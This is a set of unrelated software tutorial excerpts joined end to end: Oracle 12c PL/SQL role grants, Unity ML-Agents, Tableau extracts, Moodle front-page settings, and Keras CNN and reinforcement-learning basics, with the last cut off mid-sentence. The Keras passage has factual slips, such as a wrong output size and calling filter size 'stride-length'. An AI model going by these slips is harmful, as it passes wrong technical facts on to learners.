the definer's rights by allowing the defining user to grant complementary roles to individual PL/SQL subprograms and packages. From the security standpoint, the granting of roles to schema level subprograms provides granular control as the privileges of the invoker are validated at the time of execution. In the following example, we will create two users: U1 and U2. The user U1 creates a PL/SQL procedure P_INC_PRICE that adds a surcharge to the price of a product by a certain amount. U1 grants the execute privilege to user U2. Test setup Let's create two users and give them the required privileges. /*Create a user with a password*/ CREATE USER u1 IDENTIFIED BY u1 / User created. /*Grant connect privileges to the user*/ GRANT CONNECT, RESOURCE TO u1 / Grant succeeded. /*Create a user with a password*/ CREATE USER u2 IDENTIFIED BY u2 / User created. /*Grant connect privileges to the user*/ GRANT CONNECT, RESOURCE TO u2 / Grant succeeded. The user U1 contains the PRODUCTS table. Let's create and populate the table. /*Connect to U1*/ CONN u1/u1 /*Create the table PRODUCTS*/ CREATE TABLE products ( prod_id INTEGER, prod_name VARCHAR2(30), prod_cat VARCHAR2(30), price INTEGER ) / /*Insert the test data in the table*/ BEGIN DELETE FROM products; INSERT INTO products VALUES (101, 'Milk', 'Dairy', 20); INSERT INTO products VALUES (102, 'Cheese', 'Dairy', 50); INSERT INTO products VALUES (103, 'Butter', 'Dairy', 75); INSERT INTO products VALUES (104, 'Cream', 'Dairy', 80); INSERT INTO products VALUES (105, 'Curd', 'Dairy', 25); COMMIT; END; / The procedure p_inc_price is designed to increase the price of a product by a given amount. Note that the procedure is created with the definer's rights. /*Create the procedure with the definer's rights*/ CREATE OR REPLACE PROCEDURE p_inc_price (p_prod_id NUMBER, p_amt NUMBER) IS BEGIN UPDATE products SET price = price + p_amt WHERE prod_id = p_prod_id; END; / The user U1 grants execute privilege on p_inc_price to U2. /*Grant execute on the procedure to the user U2*/ GRANT EXECUTE ON p_inc_price TO U2 / The user U2 logs in and executes the procedure P_INC_PRICE to increase the price of Milk by 5 units. /*Connect to U2*/ CONN u2/u2 /*Invoke the procedure P_INC_PRICE in a PL/SQL block*/ BEGIN U1.P_INC_PRICE (101,5); COMMIT; END; / PL/SQL procedure successfully completed. The last code listing exposes a gray area. The user U2, though not authorized to view PRODUCTS data, manipulates its data with the definer's rights. We need a solution to the problem. The first step is to change the procedure from definer's rights to invoker's rights. /*Connect to U1*/ CONN u1/u1 /*Modify the privilege authentication for the procedure to invoker's rights*/ CREATE OR REPLACE PROCEDURE p_inc_price (p_prod_id NUMBER, p_amt NUMBER) AUTHID CURRENT_USER IS BEGIN UPDATE products SET price = price + p_amt WHERE prod_id = p_prod_id; END; / Now, if we execute the procedure from U2, it throws an exception because it couldn't find the PRODUCTS table in its schema. /*Connect to U2*/ CONN u2/u2 /*Invoke the procedure P_INC_PRICE in a PL/SQL block*/ BEGIN U1.P_INC_PRICE (101,5); COMMIT; END; / BEGIN * ERROR at line 1: ORA-00942: table or view does not exist ORA-06512: at "U1.P_INC_PRICE", line 5 ORA-06512: at line 2 In a similar scenario in the past, the database administrators could have easily granted select or updated privileges to U2, which is not an optimal solution from the security standpoint. Oracle 12c allows the users to create program units with invoker's rights but grant the required roles to the program units and not the users. So, an invoker right unit executes with invoker's privileges, plus the PL/SQL program role. Let's check out the steps to create a role and assign it to the procedure. SYSDBA creates the role and assigns it to the user U1. Using the ADMIN or DELEGATE option with the grant enables the user to grant the role to other entities. /*Connect to SYSDBA*/ CONN / as sysdba /*Create a role*/ CREATE ROLE prod_role / /*Grant role to user U1 with delegate option*/ GRANT prod_role TO U1 WITH DELEGATE OPTION / Now, user U1 assigns the required set of privileges to the role. The role is then assigned to the required subprogram. Note that only roles, and not individual privileges, can be assigned to the schema level subprograms. /*Connect to U1*/ CONN u1/u1 /*Grant SELECT and UPDATE privileges on PRODUCTS to the role*/ GRANT SELECT, UPDATE ON PRODUCTS TO prod_role / /*Grant role to the procedure*/ GRANT prod_role TO PROCEDURE p_inc_price / User U2 tries to execute the procedure again. The procedure is successfully executed which means the value of "Milk" has been increased by 5 units. /*Connect to U2*/ CONN u2/u2 /*Invoke the procedure P_INC_PRICE in a PL/SQL block*/ BEGIN U1.P_INC_PRICE (101,5); COMMIT; END; / PL/SQL procedure successfully completed. User U1 verifies the result with a SELECT query. /*Connect to U1*/ CONN u1/u1 /*Query the table to verify the change*/ SELECT * FROM products / PROD_ID PROD_NAME PROD_CAT PRICE ---------- ---------- ---------- ---------- 101 Milk Dairy 25 102 Cheese Dairy 50 103 Butter Dairy 75 104 Cream Dairy 80 105 Curd Dairy 25 Miscellaneous PL/SQL enhancements Besides the preceding key features, there are a lot of new features in Oracle 12c. The list of features is as follows: An invoker rights function can be result-cached—until Oracle 11g, only the definers' programs were allowed to cache their results. Oracle 12c adds the invoking user's identity to the result cache to make it independent of the definer. The compilation parameter PLSQL_DEBUG has been deprecated. Two conditional compilation inquiry directives $$PLSQL_UNIT_OWNER and $$PLSQL_UNIT_TYPE have been implemented. Summary This chapter covers the top rated and new features of Oracle 12c SQL and PL/SQL as well as some miscellaneous PL/SQL enhancements. This chapter covers the top rated and new features of Oracle 12c SQL and PL/SQL as well as some miscellaneous PL/SQL enhancements. Further resources on this subject: What is Oracle Public Cloud? [article] Oracle APEX 4.2 reporting [article] Oracle E-Business Suite with Desktop Integration [article]

In this tutorial, we will introduce you to Machine learning agents in Unity that helps with AI game development.  ML agents help in training intelligent agents within the game in a fun and informative way. The ML-Agents SDK is useful in transforming games and simulations created using the Unity Editor into environments for training intelligent agents. These ML agents are trained using deep Reinforcement Learning, imitation learning, neuroevolution, or other machine learning methods via Python APIs. Machine learning has a huge role to play in the development of AI games. From self-driving cars, playing Go and Chess, to computers being able to beat humans at classic Atari games, the advent of a group of technologies we colloquially call Machine Learning have come to dominate a new era in technological growth – a new era of growth that has been compared with the same importance as the discovery of electricity and has already been categorized as the next human technological age. This tutorial is an excerpt taken from the book 'Learn Unity ML-Agents – Fundamentals of Unity Machine Learning'  by Micheal Lanham. So, let's get started! Machine Learning in gaming Games and simulations are no stranger to AI technologies and there are numerous assets available to the Unity developer in order to provide simulated machine intelligence. These technologies include content like Behavior Trees, Finite State Machine, navigation meshes, A*, and other heuristic ways game developers use to simulate intelligence. So, why Machine Learning and why now? The reason is due in large part to the OpenAI initiative, an initiative that encourages research across academia and the industry to share ideas and research on AI and ML. This has resulted in an explosion of growth in new ideas, methods, and areas for research. This means for games and simulations that we no longer have to fake or simulate intelligence. Now, we can build agents that learn from their environment and even learn to beat their human builders. Machine Learning is an implementation of Artificial Intelligence. It is a way for a computer to assimilate data or state and provide a learned solution or response. We often think of AI now as a broader term to reflect a "smart" system. A full game AI system, for instance, may incorporate ML tools combined with more classic AIs like Behavior Trees in order to simulate a richer, more unpredictable AI. We will use AI to describe a system and ML to describe the implementation. ML-Agents in Unity ML-Agents platform in Unity helps to build ML models that we can learn to play and simulate in various environments. Before we do that, let's first pull down the ML-Agents package from GitHub using git. Jump on your computer and open up a command prompt or shell window and follow along: If you have never used git before, make sure to install it from https://git-scm.com/. You will need to install git before continuing with the following exercises and thus the rest of this book. Navigate to your work or root folder (on Windows, we will assume that this is C:\): cd/ Execute the following command: mkdir ML-Agents This will create the folder ML-Agents. Now, execute the following: cd ML-Agents git clone https://github.com/Unity-Technologies/ml-agents.git This uses git to pull down the required files for ML-Agents into a new folder called ml-agents. git will show the files as they are getting pulled into the folder. You can verify that the files have been pulled down successfully by changing to the new folder and executing: cd ml-agents dir Right now, we are doing this to make sure that there are any files here. We will get to the specifics later. Good—that should have been fairly painless. If you had issues pulling the code down, you can always visit the ML-Agents page on GitHub and manually pull the code down. Of course, we will be using more of git to manage and pull files, so you should resolve any problems you may have encountered. If you are not familiar with GitHub and git, then you really should be. git completely dominates source control across all areas of software development now and is widely used, even at Microsoft, who abandoned their own source control for it. Do yourself a favor, even if you develop your code just for yourself: use source control. Now that we have ML-Agents installed, we will take a look at one of Unity's sample projects that ship with a toolkit in the next section. Running a sample Unity ships the ML-Agents package with a number of prepared samples that demonstrate various aspects of learning and training scenarios. Let's open up Unity and load up a sample project and get a feel for how the ML-Agents run by following this exercise: Open the Unity editor and go to the starting Project dialog. Click the Open button at the top of the dialog and navigate to and select the ML-Agents/ml-agents/unity-environment folder, as shown in the following screenshot: Loading the unity-environment project into the editor This will load the unity-environment project into the Unity editor. Depending on the Unity version you are using, you may get a warning that the version needs to be upgraded. As long as you are using a recent version of Unity, you can just click Continue. If you do experience problems, try upgrading or downgrading your version of Unity. Locate the Scene file in the Assets/ML-Agents/Examples/3DBall folder of the Project window, as shown in the following screenshot: Locating the example scene file in the 3DBall folder Double-click the 3DBall scene file to open the scene in the editor. Press the Play button at the top center of the editor to run the scene. You will see that the scene starts running and that balls are being dropped, but the balls just fall off the platforms. This is because the scene starts up in Player mode, which means you can control the platforms with keyboard input. Try to balance the balls on the platform using the arrow keys on the keyboard. When you are done running the scene, click the Play button again to stop the scene. Setting the agent Brain As you witnessed, the scene is currently set for the Player control, but obviously, we want to see how some of this ML-Agents stuff works. In order to do that, we need to change the Brain type that the agent is using. Follow along to switch the Brain type in the 3D Ball agent: Locate the Ball3DAcademy object in the Hierarchy window and expand it to reveal the Ball3DBrain object. Select the Ball3DBrain object and then look to the Inspector window, as shown in the following screenshot: Switching the Brain on the Ball3DBrain object Switch the Brain component, as shown in the preceding excerpt, to the Heuristic setting. The Heuristic brain setting is for ML-Agents that are internally coded within Unity scripts in a heuristic manner. Heuristic programming is nothing more than selecting a simpler quicker solution when a classic, in our case, ML algorithms, may take longer. The majority of current game AIs fall within the category of using Heuristic algorithms. Press Play to run the scene. Now, you will see the platforms balancing each of the balls – very impressive for a heuristic algorithm. Next, we want to open the script with the heuristic brain and take a look at some of the code. You may need to adjust the Rotation Speed property, up or down, on the Ball 3D Decision (Script). Try a value of .5 for a rotation speed if the Heuristics brain seems unable to effectively balance the balls. The Rotation Speed is hidden in the preceding screen excerpt. Click the Gear icon beside the Ball 3D Decision (Script), and from the context menu, select Edit Script, as shown in the following screenshot: Editing the Ball 3D Decision script Take a look at the Decide method in the script as follows: public float[] Decide( List<float> vectorObs, List<Texture2D> visualObs, float reward, bool done, List<float> memory) { if (gameObject.GetComponent<Brain() .brainParameters.vectorActionSpaceType == SpaceType.continuous) { List<float> act = new List<float>(); // state[5] is the velocity of the ball in the x orientation. // We use this number to control the Platform's z axis rotation speed, // so that the Platform is tilted in the x orientation correspondingly. act.Add(vectorObs[5] * rotationSpeed); // state[7] is the velocity of the ball in the z orientation. // We use this number to control the Platform's x axis rotation speed, // so that the Platform is tilted in the z orientation correspondingly. act.Add(-vectorObs[7] * rotationSpeed); return act.ToArray(); } // If the vector action space type is discrete, then we don't do anything. return new float[1] { 1f }; } Now,  look at how simple the code is. This is the heuristic brain that is balancing the balls on the platform, which is fairly impressive when you see the code. The question that may just hit you is: why are we bothering with ML programming, then? The simple answer is that the 3D ball problem is deceptively simple and can be easily modeled with eight states. Take a look at the code again and you can see that only eight states are used (0 to 7), with each state representing the direction the ball is moving in. As you can see, this works well for this problem but when we get to more complex examples, we may have millions upon billions of states – hardly anything we could easily solve using heuristic methods. Heuristic brains should not be confused with Internal brains. While you could replace the heuristic code in the 3D ball example with an ML algorithm, that is not the best practice for running an advanced ML such as Deep Learning algorithms. We looked at the basics of machine learning in gaming and ML agents in Unity.  This included shipping the ML-Agents package with a prepared sample that demonstrates various aspects of learning and training scenarios. We also looked at how to set up an agent brain. If you found this post useful, be sure to check out the book  'Learn Unity ML-Agents – Fundamentals of Unity Machine Learning'  to learn more other concepts such as creating an environment in Unity and Academy, Agent, and Brain objects in ML agents. Implementing Unity game engine and assets for 2D game development [Tutorial] Creating interactive Unity character animations and avatars [Tutorial] Unity 2D & 3D game kits simplify Unity game development for beginners

In this article by Jenny Zhang, author of the book Tableau 10.0 Best Practices, you will learn the Best Practices about Tableau Data Extract. We will look into different ways of creating Tableau data extracts and technical details of how a Tableau data extract works. We will learn on how to create extract with large volume of data efficiently, and then upload and manage Tableau data extract in Tableau online. We will also take a look at refresh Tableau data extract, which is useful to keep your data up to date automatically. Finally, we will take a look using Tableau web connector to create data extract. (For more resources related to this topic, see here.) Different ways of creating Tableau data extracts Tableau provides a few ways to create extracts. Direct connect to original data sources Creating an extract by connecting to the original data source (Databases/Salesforce/Google Analytics and so on) will maintain the connection to the original data source. You can right click the extract to edit the extract and refresh the extract from the original data source. Duplicate of an extract If you create a duplicate of the extract by right click the data extract and duplicate, it will create a new .tde file and still maintain the connection to the original data source. If you refresh the duplicated data extract, it will not refresh the original data extract that you created the duplicate from. Connect to a Tableau Extract File If you create a data extract by connecting to a Tableau extract file (.tde), you will not have that connection to the original data source that the extract is created from since you are just connecting to a local .tde file. You cannot edit or refresh the data from the original data source. Duplicate this extract with connection to the local .tde file will NOT create a new .tde file. The duplication will still point to the same local .tde file. You can right click – Extract Data to create an extract out of an extract. But we do not normally do that. Technical details of how a Tableau data extract works Tableau data extract’s design principle A Tableau extract (.tde) file is a compressed snapshot of data extracted from a large variety of original data sources (excel, databases, Salesforce, NoSQL and so on). It is stored on disk and loaded into memory as required to create a Tableau Viz. There are two design principles of the Tableau extract make it ideal for data analytics. The first principle is Tableau extract is a columnar store. The columnar databases store column values rather than row values. The benefit is that the input/output time required to access/aggregate the values in a column is significantly reduced. That is why Tableau extract is great for data analytics. The second principle is how a Tableau extract is structured to make sure it makes best use of your computer’s memory. This will impact how it is loaded into memory and used by Tableau. To better understand this principle, we need to understand how Tableau extract is created and used as the data source to create visualization. When Tableau creates data extract, it defines the structure of the .tde file and creates separate files for each column in the original data source. When Tableau retrieves data from the original data source, it sorts, compresses and adds the values for each column to their own file. After that, individual column files are combined with metadata to form a single file with as many individual memory-mapped files as there are the columns in the original data source. Because a Tableau data extract file is a memory-mapped file, when Tableau requests data from a .tde file, the data is loaded directly into the memory by the operating system. Tableau does not have to open, process or decompress the file. If needed, the operating system continues to move data in and out of RAM to insure that all of the requested data is made available to Tableau. It means that Tableau can query data that is bigger than the RAM on the computer. Benefits of using Tableau data extract Following are the seven main benefits of using Tableau data extract Performance: Using Tableau data extract can increase performance when the underlying data source is slow. It can also speed up CustomSQL. Reduce load: Using Tableau data extract instead of a live connection to databases reduces the load on the database that can result from heavy traffic. Portability: Tableau data extract can be bundled with the visualizations in a packaged workbook for sharing with others. Pre-aggregation: When creating extract, you can choose to aggregate your data for certain dimensions. An aggregated extract has smaller size and contains only aggregated data. Accessing the values of aggregations in a visualization is very fast since all of the work to derive the values has been done. You can choose the level of aggregation. For example, you can choose to aggregate your measures to month, quarter, or year. Materialize calculated fields: When you choose to optimize the extract, all of the calculated fields that have been defined are converted to static values upon the next full refresh. They become additional data fields that can be accessed and aggregated as quickly as any other fields in the extract. The improvement on performance can be significant especially on string calculations since string calculations are much slower compared to numeric or date calculations. Publish to Tableau Public and Tableau Online: Tableau Public only supports Tableau extract files. Though Tableau Online can connect to some cloud based data sources, Tableau data extract is most common used. Support for certain function not available when using live connection: Certain function such as count distinct is only available when using Tableau data extract. How to create extract with large volume of data efficiently Load very large Excel file to Tableau If you have an Excel file with lots of data and lots of formulas, it could take a long time to load into Tableau. The best practice is to save the Excel as a .csv file and remove all the formulas. Aggregate the values to higher dimension If you do not need the values down to the dimension of what it is in the underlying data source, aggregate to a higher dimension will significantly reduce the extract size and improve performance. Use Data Source Filter Add a data source filter by right click the data source and then choose to Edit Data Source Filter to remove the data you do not need before creating the extract. Hide Unused Fields Hide unused fields before creating a data extract can speed up extract creation and also save storage space. Upload and manage Tableau data extract in Tableau online Create Workbook just for extracts One way to create extracts is to create them in different workbooks. The advantage is that you can create extracts on the fly when you need them. But the disadvantage is that once you created many extracts, it is very difficult to manage them. You can hardly remember which dashboard has which extracts. A better solution is to use one workbook just to create data extracts and then upload the extracts to Tableau online. When you need to create visualizations, you can use the extracts in Tableau online. If you want to manage the extracts further, you can use different workbooks for different types of data sources. For example, you can use one workbook for excel files, one workbook for local databases, one workbook for web based data and so on. Upload data extracts to default project The default project in Tableau online is a good place to store your data extracts. The reason is that the default project cannot be deleted. Another benefit is that when you use command line to refresh the data extracts, you do not need to specify project name if they are in the default project. Make sure Tableau online/server has enough space In Tableau Online/Server, it’s important to make sure that the backgrounder has enough disk space to store existing Tableau data extracts as well as refresh them and create new ones. A good rule of thumb is the size of the disk available to the backgrounder should be two to three times the size of the data extracts that are expected to be stored on it. Refresh Tableau data extract Local refresh of the published extract: Download a Local Copy of the Data source from Tableau Online. Go to Data Sources tab Click on the name of the extract you want to download Click download Refresh the Local Copy. Open the extract file in Tableau Desktop Right click on the data source in, and choose Extract- refresh Publish the refreshed Extract to Tableau Online. Right lick the extract and click Publish to server You will be asked if you wish to overwrite a file with the same name and click yes NOTE 1 If you need to make changes to any metadata, please do it before publishing to the server. NOTE 2 If you use the data extract in Tableau Online to create visualizations for multiple workbooks (which I believe you do since that is the benefit of using a shared data source in Tableau Online), please be very careful when making any changes to the calculated fields, groups, or other metadata. If you have other calculations created in the local workbook with the same name as the calculations in the data extract in Tableau Online, the Tableau Online version of the calculation will overwrite what you created in the local workbook. So make sure you have the correct calculations in the data extract that will be published to Tableau Online. Schedule data extract refresh in Tableau Online Only cloud based data sources (eg. Salesforce, Google analytics) can be refreshed using schedule jobs in Tableau online. One option is to use Tableau Desktop command to refresh non-cloud based data source in Tableau Online. Windows scheduler can be used to automate the refresh jobs to update extracts via Tableau Desktop command. Another option is to use the sync application or manually refresh the extracts using Tableau Desktop. NOTE If using command line to refresh the extract, + cannot be used in the data extract name. Tips for Incremental Refreshes Following are the tips for incremental refrences: Incremental extracts retrieve only new records from the underlying data source which reduces the amount of time required to refresh the data extract. If there are no new records to add during an incremental extract, the processes associated with performing an incremental extract still execute. The performance of incremental refresh is decreasing over time. This is because incremental extracts only grow in size, and as a result, the amount of data and areas of memory that must be accessed in order to satisfy requests only grow as well. In addition, larger files are more likely to be fragmented on a disk than smaller ones. When performing an incremental refresh of an extract, records are not replaced. Therefore, using a date field such as “Last Updated” in an incremental refresh could result in duplicate rows in the extract. Incremental refreshes are not possible after an additional file has been appended to a file based data source because the extract has multiple sources at that point. Use Tableau web connector to create data extract What is Tableau web connector? The Tableau Web Data Connector is the API that can be used by people who want to write some code to connect to certain web based data such as a web page. The connectors can be written in java. It seems that these web connectors can only connect to web pages, web services and so on. It can also connect to local files. How to use Tableau web connector? Click on Data | New Data source | Web Data Connector. Is the Tableau web connection live? The data is pulled when the connection is build and Tableau will store the data locally in Tableau extract. You can still refresh the data manually or via schedule jobs. Are there any Tableau web connection available? Here is a list of web connectors around the Tableau community: Alteryx: http://data.theinformationlab.co.uk/alteryx.html Facebook: http://tableaujunkie.com/post/123558558693/facebook-web-data-connector You can check the tableau community for more web connectors Summary In summary, be sure to keep in mind the following best practices for data extracts: Use full fresh when possible. Fully refresh the incrementally refreshed extracts on a regular basis. Publish data extracts to Tableau Online/Server to avoid duplicates. Hide unused fields/ use filter before creating extracts to improve performance and save storage space. Make sure there is enough continuous disk space for the largest extract file. A good way is to use SSD drivers. Resources for Article: Further resources on this subject: Getting Started with Tableau Public [article] Introduction to Practical Business Intelligence [article] Splunk's Input Methods and Data Feeds [article]

Look and Feel: An Overview Moodle can be fully customized in terms of layout and branding. It has to be stressed that certain aspects of changing the look and feel require some design skills. While you as an administrator will be able to make most of the relevant adjustments, it might be necessary to get a professional designer involved, especially when it comes to styling. The two relevant components for customization are the Moodle front page and Moodle themes, though this article will focus only on Moodle front page. Before going into further details, let's try to understand which part is responsible for which element of the look and feel of your site. Have a look at the screenshot that would follow. It shows the front page of Moodle site after you are logged in as an administrator. It is not obvious which parts are driven by the Moodle theme and by the front page settings. The next table sheds some light on this: Element Settings Theme Other Logos - x - Logged-in information (location and font) - x - Language Drop Down - - x Site Administration block (position) x - - Available Courses block (position) x - - Available Courses block (content) - - x Course categories and Calendar block (position) x - - Course categories and Calendar block (icons, fonts, colors) - x - Footer text - x - Footer logo - x - Copyright statement - x -   While this list is by no means complete, it hopefully gives you an idea that the look and feel of your Moodle site is driven by a number of different elemen In short, the settings (mostly front page settings as well as a few related parameters) dictate what content users will see before and after they log on. The theme is responsible for the design scheme or branding, that is, the header and footer as well as colors, fonts, icons, and so on used throughout the site. Now let's move towards the core part of this article. Customizing Your Front Page The appearance of Moodle's front page changes after a user has logged in. The content and layout of the page before and after login can be customized to represent the identity of your organization. Look at the following screenshot. It is the same site that the preceding screenshot was taken from, but before a user has logged in. In this particular example, a Login block is shown on the left and the Course categories are displayed in the center, as opposed to the list of available courses. Front Page Settings To customize the front page, you either have to be logged in as Moodle administrator, or have front-page-related permissions in the Front Page context. From the Site Administration block, select Front Page | Front Page Settings. The screen showing all available parameters will be loaded displaying your current settings that are changeable. ts. Setting Description Full site name This is the name that appears in the browser's title bar. It is usually the full name of your organization, or the name of the dedicated course, or qualification the site is used for. Short name for site This is the name that appears as the first item in the breadcrumb trail. Front Page Description This description of the site will be displayed on the front page via the Site Description block. It can, therefore, only be displayed in the left or right column, never in the center of the front page. The description text is also picked up by the Google search engine spider, if allowed. Front Page Moodle can display up to four elements in the center column of the front page when not logged in. List of courses List of categories News items Combo list(categories and courses) The order of the elements is the same as the one chosen in the pull-down menus. Front page items when logged in Same as "Front Page", but used when logged in. Include a topic section If ticked, an additional topic section (just like the topic blocks in the center column of a topics-format course) appears on top of the front page's center column. It can contain any mix of resources or activities available in Moodle. It is very often used to provide information about the site. News items to show Number of news items that are displayed. Courses per page This is a threshold setting that is used when displaying courses within categories. If there are more courses in a category than specified, page navigation will be displayed at the top of the page. Also, when a combo list is used, course names are only displayed if the number is less than the specified threshold. For all other categories, only the number of courses is shown after the category name. Allow visible courses within hidden categories By default, courses in hidden categories are not shown unless the said setting is applied. Default frontpage role If logged-in users should be allowed to participate in front page activities, a default front page role should be set. The default is None.   Arranging Front Page Blocks To configure the left and right column areas with blocks, you have to turn on editing (using the Blocks editing on button). The menu includes blocks that are not available in courses such as Course/Site description and Main menu. Blocks are added to the front page in exactly the same way as in courses. To change their position, use the standard arrows. The Main Menu block allows you to add any installed Moodle resource or activity inside the block. For example, using labels and links to (internal or external) websites, you are able to create a menu-like structure on your front page. If the Include a topic section parameter has been selected in the Front Page settings, you have to edit the part and add any installed Moodle activity or resource. This topic section is usually used by organizations to add a welcome message to visitors, often accompanied by a picture or other multimedia content. Login From a Different Website The purpose of the Login block is for users to authenticate themselves by entering their username and password. It is possible to log into Moodle from a different website, maybe your organization's homepage, effectively avoiding the Login block. To implement this, you will have to add some HTML code on that page as shown: <form class="loginform" name="login" method="post" action="http://www.mysite.com/login/index.php">   <p>Username :     <input size="10" name="username" />   </p>   <p>Password :     <input size="10" name="password" type="password" />   </p>   <p>     <input name="Submit" value="Login" type="submit" />   </p></form> The form will pass the username and password to your Moodle system. You will have to replace www.mysite.com with your URL. This address has to be entered in the Alternate Login URL field at Users | Authentication | Manage authentication in the Site Administration block. Other Front Page Items The Moodle front page is treated as a standalone component in Moodle, and therefore has a top-level menu with a number of features that can all be accessed via the Front Page item in the Site Administration menu. Having now looked in detail at the front page settings, let's turn to examining the other available options. Front Page Roles The front page has its own context in which roles can be assigned to users. This allows a separate user to develop and maintain the front page without having access to any other elements in Moodle. Since the front page is treated as a course, a Teacher role is usually sufficient for this. Front Page Backup and Restore The front page has its own backup and restore facilities to back up and restore all elements of the front page including any content. The mechanism of performing backup and restore is the same as for course backups.   Front page backups are stored in the backupdata folder in the Site Files area, and can be accessed by anybody who is aware of the URL. It is therefore best to move the created ZIP files to a more secure location. Front Page Questions Since the Moodle front page is treated in the same way as a course, it also has its own question bank, which is used to store any questions used on front-page quizzes. For more information on quizzes and the question bank, go to the MoodleDocs at http://docs.moodle.org/en/Quiz . Site Files The files areas of all courses are separate from each other, that is, files in Moodle belong to a course and can only be accessed by users who have been granted appropriate rights. The difference between Site files and the files area of any other course is that files in Site files can be accessed without logging in. Files placed in this location are meant for the front page, but can be accessed from anywhere in the system. In fact, if the location is known, files can be even be accessed from outside Moodle. Make sure that in the Site files area, you only place files that are acceptable to be seen by users who are not authenticated on your Moodle system. Typical files to be placed in this area are any images you want to show on the front page (such as the logo of your organization) or any document that you want to be accessed (for example, the curriculum). However, it is also used for other files that are required to be accessible without access to a course, such as the Site Policy Agreement, which has to be accepted before starting Moodle. To access these publicly available Site files elsewhere (for example, as a resource within other courses), you have to copy the link location that has the format: http://mysite.com/file.php/1/file.doc. Allow Personalization via My Moodle By default, the same front page is displayed for all users on your Moodle system. To relax this restriction and to allow users to personalize their own front page, you have to activate the My Moodle feature via the Force users to use My Moodle setting in Appearance | My Moodle in the Site Administration block. Once enabled, Moodle creates a /my directory for each user (except administrators) at their first login, which is displayed instead of the main Moodle front page. It is a very flexible feature that is similar to a customizable dashboard, but requires some more disk space on your server. Once logged in, users will have the ability to edit their page by adding blocks to their My Moodle area. The center of the page will be populated by the main front page, for instance displaying a list of courses, that users cannot modify. Making Blocks Sticky There might be some blocks that you wish to "stick", that is, display on each My Moodle page, making them effectively compulsory blocks. For example, you might want to pin the Calendar block on the top right corner of each user's My Moodle page. To do this, go to Modules | Blocks | Sticky blocks in the Site Administration block and select My Moodle from the pull-down menu. You can now add any item from the pull-down menu in the Blocks block. If the block is single instance (that is, only one occurrence is allowed per page), the block will not be available for the user to choose from. If the user has already selected a particular block, a duplicate will appear on their site, which can be edited and deleted. To prevent users from editing their My Moodle pages, change the moodle/my: manageblocks capability in the Authenticated user role from Allow to Not set. The sticky block feature is also available for course pages. A course creator has the ability to add and position blocks inside a course unless they have been made sticky. Select the Course page item from the same menu to configure the sticky blocks for courses, as shown in the preceding screenshot. Summary After providing a general overview of look and feel elements in Moodle, the article covered front page customization. As mentioned earlier, the front page in Moodle is a course. This has advantages (you can do everything you can do in a course and a little bit more), but it also has certain limitations (you can only do what you can do in a course and might feel limited by this). However, some organizations are now using the Moodle front page as their homepage.

In this article by Antonio Gulli, Sujit Pal, the authors of the book Deep Learning with Keras, we will learn about reinforcement learning, or more specifically deep reinforcement learning, that is, the application of deep neural networks to reinforcement learning. We will also see how convolutional neural networks leverage spatial information and they are therefore very well suited for classifying images. (For more resources related to this topic, see here.) Deep convolutional neural network A Deep Convolutional Neural Network (DCCN) consists of many neural network layers. Two different types of layers, convolutional and pooling, are typically alternated. The depth of each filter increases from left to right in the network. The last stage is typically made of one or more fully connected layers as shown here: There are three key intuitions beyond ConvNets: Local receptive fields Shared weights Pooling Let's review them together. Local receptive fields If we want to preserve the spatial information, then it is convenient to represent each image with a matrix of pixels. Then, a simple way to encode the local structure is to connect a submatrix of adjacent input neurons into one single hidden neuron belonging to the next layer. That single hidden neuron represents one local receptive field. Note that this operation is named convolution and it gives the name to this type of networks. Of course we can encode more information by having overlapping submatrices. For instance let's suppose that the size of each single submatrix is 5 x 5 and that those submatrices are used with MNIST images of 28 x 28 pixels, then we will be able to generate 23 x 23 local receptive field neurons in the next hidden layer. In fact it is possible to slide the submatrices by only 23 positions before touching the borders of the images. In Keras, the size of each single submatrix is called stride-length and this is an hyper-parameter which can be fine-tuned during the construction of our nets. Let's define the feature map from one layer to another layer. Of course we can have multiple feature maps which learn independently from each hidden layer. For instance we can start with 28 x 28 input neurons for processing MINST images, and then recall k feature maps of size 23 x 23 neurons each (again with stride of 5 x 5) in the next hidden layer. Shared weights and bias Let's suppose that we want to move away from the pixel representation in a row by gaining the ability of detecting the same feature independently from the location where it is placed in the input image. A simple intuition is to use the same set of weights and bias for all the neurons in the hidden layers. In this way each layer will learn a set of position-independent latent features derived from the image. Assuming that the input image has shape (256, 256) on 3 channels with tf (Tensorflow) ordering, this is represented as (256, 256, 3). Note that with th (Theano) mode the channels dimension (the depth) is at index 1, in tf mode is it at index 3. In Keras if we want to add a convolutional layer with dimensionality of the output 32 and extension of each filter 3 x 3 we will write: model = Sequential() model.add(Convolution2D(32, 3, 3, input_shape=(256, 256, 3)) This means that we are applying a 3 x 3 convolution on 256 x 256 image with 3 input channels (or input filters) resulting in 32 output channels (or output filters). An example of convolution is provided in the following diagram: Pooling layers Let's suppose that we want to summarize the output of a feature map. Again, we can use the spatial contiguity of the output produced from a single feature map and aggregate the values of a submatrix into one single output value synthetically describing the meaning associated with that physical region. Max pooling One easy and common choice is the so-called max pooling operator which simply outputs the maximum activation as observed in the region. In Keras, if we want to define a max pooling layer of size 2 x 2 we will write: model.add(MaxPooling2D(pool_size = (2, 2))) An example of max pooling operation is given in the following diagram: Average pooling Another choice is the average pooling which simply aggregates a region into the average values of the activations observed in that region. Keras implements a large number of pooling layers and a complete list is available online. In short, all the pooling operations are nothing more than a summary operation on a given region. Reinforcement learning Our objective is to build a neural network to play the game of catch. Each game starts with a ball being dropped from a random position from the top of the screen. The objective is to move a paddle at the bottom of the screen using the left and right arrow keys to catch the ball by the time it reaches the bottom. As games go, this is quite simple. At any point in time, the state of this game is given by the (x, y) coordinates of the ball and paddle. Most arcade games tend to have many more moving parts, so a general solution is to provide the entire current game screen image as the state. The following diagram shows four consecutive screenshots of our catch game: Astute readers might note that our problem could be modeled as a classification problem, where the input to the network are the game screen images and the output is one of three actions - move left, stay, or move right. However, this would require us to provide the network with training examples, possibly from recordings of games played by experts. An alternative and simpler approach might be to build a network and have it play the game repeatedly, giving it feedback based on whether it succeeds in catching the ball or not. This approach is also more intuitive and is closer to the way humans and animals learn. The most common way to represent such a problem is through a Markov Decision Process (MDP). Our game is the environment within which the agent is trying to learn. The state of the environment at time step t is given by st (and contains the location of the ball and paddle). The agent can perform certain actions at (such as moving the paddle left or right). These actions can sometimes result in a reward rt, which can be positive or negative (such as an increase or decrease in the score). Actions change the environment and can lead to a new state st+1, where the agent can perform another action at+1, and so on. The set of states, actions and rewards, together with the rules for transitioning from one state to the other, make up a Markov decision process. A single game is one episode of this process, and is represented by a finite sequence of states, actions and rewards: Since this is a Markov decision process, the probability of state st+1 depends only on current state 